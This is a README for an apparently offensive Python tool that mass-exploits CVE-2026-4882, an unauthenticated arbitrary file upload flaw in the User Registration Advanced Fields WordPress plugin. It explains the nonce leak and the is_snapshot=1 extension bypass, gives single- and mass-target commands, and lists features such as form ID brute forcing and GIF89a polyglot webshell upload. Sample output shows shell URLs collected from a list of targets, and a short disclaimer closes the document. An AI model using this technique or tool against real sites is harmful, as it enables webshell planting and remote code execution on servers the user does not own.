CVE-2026-4882

User Registration Advanced Fields <= 1.6.20 - Unauthenticated Arbitrary File Upload

Description :

User Registration Advanced Fields <= 1.6.20 - Unauthenticated Arbitrary File Upload Description The User Registration Advanced Fields plugin for WordPress (versions up to and including 1.6.20) is vulnerable to unauthenticated arbitrary file upload via the uraf_profile_picture_upload_method_upload AJAX action. The plugin leaks a valid nonce through wp_localize_script() on any page containing a registration form, and using the is_snapshot=1 parameter bypasses file extension validation entirely. This allows unauthenticated attackers to upload arbitrary files (e.g., PHP webshells disguised as GIF images), which are stored in wp-content/uploads/user_registration_uploads/temp-uploads/, leading to full remote code execution (RCE).

INFO : CVE-2026-4882

~ CVSS Score: 9.8 (Critical)

~ Affected Versions: <= 1.6.20

• Researcher : 0xd4rk5id3 - EnvoraSec

usage :

Single target :

• python3 shadow.py -u https://target.com -s shadow.php

Mass targets :

• python3 shadow.py -f targets.txt -s shadow.php -t 30

Interactive mode :

• python3 shadow.py
• input target file name
• input thread 1-50 max

features :

• Multi-threading
• Error Handling
• Auto Nonce + Form ID Discovery
• Homepage & Sitemap Crawling (custom registration paths)
• Brute Force Form ID Fallback
• Auto HTTP/HTTPS Redirect Resolve
• GIF89a Polyglot Shell Upload
• Verification Shell
• Auto-Save Results to shell.txt

output :

╔══════════════════════════════════════════════════╗
║   CVE-2026-4882 — Full Auto Exploit              ║
║   User Registration Advanced Fields <= 1.6.20    ║
║   by: Shadow x Friska 😈🔥                      ║
╚══════════════════════════════════════════════════╝

  ═══ Interactive Mode ═══

  📄 Target file (e.g. targets.txt): list.txt
  ⚡ Threads 1-50 (default 30): 30

  🎯 Targets : 75
  📁 Shell   : shadow.php
  ⚡ Threads : 30
  💣 Brute   : 1-500

  🩷 [3/75] http://target.com
     → http://target.com/wp-content/uploads/user_registration_uploads/temp-uploads/shadow.php
  💀 [1/75] http://example.com — no nonce
  ❌ [4/75] http://example2.com — upload failed

Disclaimer :

This tool is for educational and security testing purposes only.

Unauthorized use of systems you don't own or don't have permission to test is illegal.